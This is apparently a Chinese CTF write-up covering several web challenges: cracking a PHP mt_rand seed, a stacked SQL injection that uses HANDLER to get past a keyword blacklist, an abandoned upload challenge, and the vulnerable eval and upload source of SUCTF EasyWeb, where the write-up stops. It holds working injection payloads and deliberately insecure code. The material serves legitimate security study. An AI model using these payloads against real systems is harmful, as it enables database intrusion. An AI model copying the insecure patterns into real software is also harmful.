[GWCTF 2019]枯燥的抽奖
考点:
伪随机数
解题:
给了一个随机数
我们了解知识后,知道这其实是伪随机数:就是种子如果不变,在相同的php版本下随机数不变。
在源码中发现check.php
进入发现源码
><?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "$str_show"
if(isset($_POST['num'])){
if($_POST['num']===$str){
echo "抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}";
else{ echo "没抽中哦,再试试吧";
}
} show_source("check.php");
明白算法后使用php_mt_seed工具爆破种子
<?php
$str = "BJkN7jnUov";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
for($i=0;$i<strlen($str);$i++){
$pos = strpos($randStr,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
}
echo "\n";
<?php
mt_srand(220311331);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";//62
$auth='';
$len=20;
for ( $i = 0; $i < $len; $i++ ){
$auth.=substr($str_rand, mt_rand(0, strlen($str_rand) - 1), 1);
}
echo $auth;
提交可以获得flag
本题与MRCTF的Ezaudit相同
[GYCTF2020]Blacklist
这题是强网杯的随便注改的
经过测试以后ban掉了强网杯的rename函数
1';show columns from FlagHere
;
发现flag在flag表中
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
之前在群里和大佬们交流,发现了代替select还有一个handler函数,查了一下用法
语法结构:
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
如:通过handler语句查询users表的内容、
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
...
handler yunensec close; #关闭句柄
参考:对MYSQL注入相关内容及部分Trick的归类小结
这个文章特别详细,可以整体学习
所以我们本题用handler查询一下
1';handler FlagHere open; handler FlagHere read first;
漏洞成因:
- 使用
mysqli_multi_query()
这种支持多语句执行的函数 - 使用PDO的方式进行数据查询,创建PDO实例时
PDO::MYSQL_ATTR_MULTI_STATEMENTS
设置为true
时,可以执行多语句
[强网杯 2019]Upload
打开后是一个登录页面,注册后登陆
是一个上传头像页面
上传任何php文件都不可以,尝试了各种姿势无果后放弃
扫目录后发现源码泄露www.tar.gz 发现有24M的源码。
吓死了
先放一放(审计源码未来看,本题放一下)
[SUCTF 2019]EasyWeb
打开即源码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
审计后发现过滤了了含有ph的文件以及文件内容中不能含有'<?',且上传文件类型需要image